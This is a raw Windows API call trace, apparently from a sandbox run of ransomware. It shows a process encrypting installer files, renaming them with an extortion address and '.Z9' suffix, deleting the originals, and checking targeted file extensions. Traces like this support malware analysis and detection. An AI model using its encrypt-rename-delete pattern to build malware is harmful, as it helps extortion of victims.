	[0071.735] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0071.743] ReadFile (in: hFile=0x330, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.743] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.743] SetEndOfFile (hFile=0x2f4) returned 1
	[0071.744] CloseHandle (hObject=0x2f4) returned 1
	[0071.745] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.745] SetEndOfFile (hFile=0x330) returned 1
	[0071.747] CloseHandle (hObject=0x330) returned 1
	[0071.747] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.747] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 1
	[0071.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0071.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0071.748] lstrlenW (lpString=".doc") returned 4
	[0071.748] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.748] lstrlenW (lpString=".docx") returned 5
	[0071.748] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.748] lstrlenW (lpString=".pdf") returned 4
	[0071.748] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.748] lstrlenW (lpString=".xls") returned 4
	[0071.748] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.748] lstrlenW (lpString=".xlsx") returned 5
	[0071.748] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.748] lstrlenW (lpString=".ppt") returned 4
	[0071.748] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0071.748] lstrlenW (lpString=".zip") returned 4
	[0071.748] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.748] lstrlenW (lpString=".rar") returned 4
	[0071.748] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.748] lstrlenW (lpString=".bz2") returned 4
	[0071.748] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.748] lstrlenW (lpString=".7z") returned 3
	[0071.748] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0071.748] lstrlenW (lpString=".dbf") returned 4
	[0071.748] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0071.749] lstrlenW (lpString=".1cd") returned 4
	[0071.749] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0071.749] lstrlenW (lpString=".jpg") returned 4
	[0071.749] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0071.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0071.749] lstrlenW (lpString=".doc") returned 4
	[0071.749] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.749] lstrlenW (lpString=".docx") returned 5
	[0071.749] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.749] lstrlenW (lpString=".pdf") returned 4
	[0071.749] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.749] lstrlenW (lpString=".xls") returned 4
	[0071.749] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.749] lstrlenW (lpString=".xlsx") returned 5
	[0071.749] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.749] lstrlenW (lpString=".ppt") returned 4
	[0071.749] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0071.749] lstrlenW (lpString=".zip") returned 4
	[0071.749] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.749] lstrlenW (lpString=".rar") returned 4
	[0071.749] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.749] lstrlenW (lpString=".bz2") returned 4
	[0071.749] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.749] lstrlenW (lpString=".7z") returned 3
	[0071.749] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0071.749] lstrlenW (lpString=".dbf") returned 4
	[0071.749] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0071.750] lstrlenW (lpString=".1cd") returned 4
	[0071.750] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0071.750] lstrlenW (lpString=".jpg") returned 4
	[0071.750] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.750] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.750] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.750] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0071.750] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=18264) returned 1
	[0071.750] CloseHandle (hObject=0x330) returned 1
	[0071.750] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80
	[0071.750] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.750] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0071.751] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.751] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.751] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0071.751] GetLastError () returned 0x0
	[0071.751] ReadFile (in: hFile=0x330, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x4758, lpOverlapped=0x0) returned 1
	[0071.804] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0071.805] ReadFile (in: hFile=0x330, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.805] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.805] SetEndOfFile (hFile=0x2f4) returned 1
	[0071.805] CloseHandle (hObject=0x2f4) returned 1
	[0071.806] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.806] SetEndOfFile (hFile=0x330) returned 1
	[0071.807] CloseHandle (hObject=0x330) returned 1
	[0071.807] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.808] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 1
	[0071.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0071.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0071.808] lstrlenW (lpString=".doc") returned 4
	[0071.808] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.808] lstrlenW (lpString=".docx") returned 5
	[0071.808] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.808] lstrlenW (lpString=".pdf") returned 4
	[0071.808] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.808] lstrlenW (lpString=".xls") returned 4
	[0071.808] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.808] lstrlenW (lpString=".xlsx") returned 5
	[0071.808] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.808] lstrlenW (lpString=".ppt") returned 4
	[0071.808] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0071.808] lstrlenW (lpString=".zip") returned 4
	[0071.808] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.808] lstrlenW (lpString=".rar") returned 4
	[0071.808] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.808] lstrlenW (lpString=".bz2") returned 4
	[0071.808] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.808] lstrlenW (lpString=".7z") returned 3
	[0071.808] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0071.809] lstrlenW (lpString=".dbf") returned 4
	[0071.809] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0071.809] lstrlenW (lpString=".1cd") returned 4
	[0071.809] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0071.809] lstrlenW (lpString=".jpg") returned 4
	[0071.809] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0071.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0071.809] lstrlenW (lpString=".doc") returned 4
	[0071.809] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.809] lstrlenW (lpString=".docx") returned 5
	[0071.809] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.809] lstrlenW (lpString=".pdf") returned 4
	[0071.809] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.809] lstrlenW (lpString=".xls") returned 4
	[0071.809] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.809] lstrlenW (lpString=".xlsx") returned 5
	[0071.809] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.809] lstrlenW (lpString=".ppt") returned 4
	[0071.809] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0071.809] lstrlenW (lpString=".zip") returned 4
	[0071.809] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.809] lstrlenW (lpString=".rar") returned 4
	[0071.809] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.809] lstrlenW (lpString=".bz2") returned 4
	[0071.809] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.809] lstrlenW (lpString=".7z") returned 3
	[0071.809] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0071.809] lstrlenW (lpString=".dbf") returned 4
	[0071.809] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0071.809] lstrlenW (lpString=".1cd") returned 4
	[0071.810] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0071.810] lstrlenW (lpString=".jpg") returned 4
	[0071.810] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.810] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.810] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.810] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0071.975] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=14168) returned 1
	[0071.975] CloseHandle (hObject=0x378) returned 1
	[0071.975] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80
	[0071.975] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.976] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0071.976] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.976] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.976] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0071.976] GetLastError () returned 0x0
	[0071.976] ReadFile (in: hFile=0x378, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x3758, lpOverlapped=0x0) returned 1
	[0071.987] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x3760, lpOverlapped=0x0) returned 1
	[0071.989] ReadFile (in: hFile=0x378, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.989] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.989] SetEndOfFile (hFile=0x37c) returned 1
	[0071.989] CloseHandle (hObject=0x37c) returned 1
	[0071.990] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.990] SetEndOfFile (hFile=0x378) returned 1
	[0071.991] CloseHandle (hObject=0x378) returned 1
	[0071.991] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.991] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 1
	[0071.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0071.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0071.992] lstrlenW (lpString=".doc") returned 4
	[0071.992] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.992] lstrlenW (lpString=".docx") returned 5
	[0071.992] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.992] lstrlenW (lpString=".pdf") returned 4
	[0071.992] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.992] lstrlenW (lpString=".xls") returned 4
	[0071.992] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.992] lstrlenW (lpString=".xlsx") returned 5
	[0071.992] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.992] lstrlenW (lpString=".ppt") returned 4
	[0071.992] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0071.992] lstrlenW (lpString=".zip") returned 4
	[0071.992] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.992] lstrlenW (lpString=".rar") returned 4
	[0071.992] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.992] lstrlenW (lpString=".bz2") returned 4
	[0071.992] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.992] lstrlenW (lpString=".7z") returned 3
	[0071.992] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0071.992] lstrlenW (lpString=".dbf") returned 4
	[0071.992] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0071.992] lstrlenW (lpString=".1cd") returned 4
	[0071.992] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0071.992] lstrlenW (lpString=".jpg") returned 4
	[0071.992] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0071.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0071.993] lstrlenW (lpString=".doc") returned 4
	[0071.993] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.993] lstrlenW (lpString=".docx") returned 5
	[0071.993] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.993] lstrlenW (lpString=".pdf") returned 4
	[0071.993] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.993] lstrlenW (lpString=".xls") returned 4
	[0071.993] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.993] lstrlenW (lpString=".xlsx") returned 5
	[0071.993] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.993] lstrlenW (lpString=".ppt") returned 4
	[0071.993] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0071.993] lstrlenW (lpString=".zip") returned 4
	[0071.993] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.993] lstrlenW (lpString=".rar") returned 4
	[0071.993] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.993] lstrlenW (lpString=".bz2") returned 4
	[0071.993] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.993] lstrlenW (lpString=".7z") returned 3
	[0071.993] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0071.993] lstrlenW (lpString=".dbf") returned 4
	[0071.993] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0071.993] lstrlenW (lpString=".1cd") returned 4
	[0071.993] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0071.993] lstrlenW (lpString=".jpg") returned 4
	[0071.993] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.994] lstrcmpiW (lpString1=".ico", lpString2=".Z9") returned -1
	[0071.994] lstrlenW (lpString="Print.ico") returned 9
	[0071.994] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0072.040] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1150) returned 1
	[0072.040] CloseHandle (hObject=0x2bc) returned 1
	[0072.040] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80
	[0072.040] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.041] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0072.041] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.042] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.042] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0072.050] GetLastError () returned 0x0
	[0072.050] ReadFile (in: hFile=0x2bc, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x47e, lpOverlapped=0x0) returned 1
	[0072.054] WriteFile (in: hFile=0x300, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x480, lpOverlapped=0x0) returned 1
	[0072.055] ReadFile (in: hFile=0x2bc, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.055] WriteFile (in: hFile=0x300, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0072.055] SetEndOfFile (hFile=0x300) returned 1
	[0072.064] CloseHandle (hObject=0x300) returned 1
	[0072.074] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.074] SetEndOfFile (hFile=0x2bc) returned 1
	[0072.079] CloseHandle (hObject=0x2bc) returned 1
	[0072.080] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.080] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1
	[0072.083] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0072.083] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0072.083] lstrlenW (lpString=".doc") returned 4
	[0072.083] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.083] lstrlenW (lpString=".docx") returned 5
	[0072.083] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0072.083] lstrlenW (lpString=".pdf") returned 4
	[0072.083] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.083] lstrlenW (lpString=".xls") returned 4
	[0072.083] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.083] lstrlenW (lpString=".xlsx") returned 5
	[0072.083] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0072.084] lstrlenW (lpString=".ppt") returned 4
